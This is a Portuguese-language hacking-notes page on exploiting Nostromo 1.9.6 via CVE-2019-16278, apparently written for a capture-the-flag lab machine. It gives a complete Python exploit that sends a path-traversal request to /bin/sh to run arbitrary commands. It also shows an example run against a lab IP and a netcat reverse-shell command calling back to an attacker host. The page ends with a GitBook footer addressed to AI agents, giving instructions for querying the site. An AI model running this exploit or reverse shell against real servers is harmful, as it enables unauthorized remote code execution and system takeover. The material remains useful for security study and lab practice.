> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/nostromo-cms-exploitation.md).

# Nostromo

Notas de exploração do Nostromo para execução remota de comandos da CVE-2019-16278, entrega de shell reverso e enumeração de HomeDirs.

## RCE do Nostromo CVE-2019-16278

**Pesquisa de exploração:** `searchsploit` identifica um exploit de RCE para o Nostromo 1.9.6.

<figure><img src="/files/3ed8d2bed6c1515eb32c6bf763b9576d74af5546" alt="" width="563"><figcaption></figcaption></figure>

Baixe a prova de conceito do GitHub.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Executando o script:** Use o script a seguir para executar comandos no servidor:

```python
import argparse
import socket

# Configuração do argparse
parser = argparse.ArgumentParser(description="Exploit para CVE-2019-16278 - RCE do Nostromo 1.9.6")
parser.add_argument("-t", "--target", help="Host remoto a ser alvo")
parser.add_argument("-p", "--port", help="Porta remota a ser alvo")
parser.add_argument("-c", "--command", help="Comando a ser executado no servidor")
parser.add_argument("-b", "--bytes", help="O número de bytes a receber de volta na resposta")

# Definir e atribuir as variáveis
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Construir e codificar o payload
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Criar o socket e enviar o payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Receber a resposta e fechar o socket
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/ab49667360771d0000db09c44e912ad4f0c2773c" alt="" width="563"><figcaption></figcaption></figure>

**Obtendo um shell reverso:**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/936b882f938736b6d5150f46a5325ffa88c52bbb" alt=""><figcaption></figcaption></figure>

## Nota relacionada

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-server" style="color:$primary;">:server:</i></h3></td><td><h4>Configuração do HomeDirs</h4></td><td>Notas de enumeração do HomeDirs do Nostromo para revisão do nhttpd.conf, descoberta de public_www, acesso à área de arquivos protegidos, extração de arquivo de backup e recuperação de chave SSH.</td><td><a href="/pages/b8f55f7b3577537bc3fa9002520b7dee5e0e28d6">/pages/b8f55f7b3577537bc3fa9002520b7dee5e0e28d6</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/nostromo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
